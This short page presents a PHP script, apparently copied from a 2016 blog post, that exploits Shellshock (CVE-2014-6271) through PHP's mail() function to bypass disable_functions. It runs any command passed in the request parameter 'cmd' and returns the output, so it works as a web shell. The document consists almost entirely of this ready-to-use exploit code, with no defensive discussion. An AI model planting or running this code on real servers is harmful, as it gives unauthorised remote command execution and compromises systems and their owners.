disable_functions - PHP 5.x Shellshock Exploit

PHP 5.x Shellshock Exploit

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

<?php

echo "Disabled functions: ".ini_get('disable_functions')."\n";
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>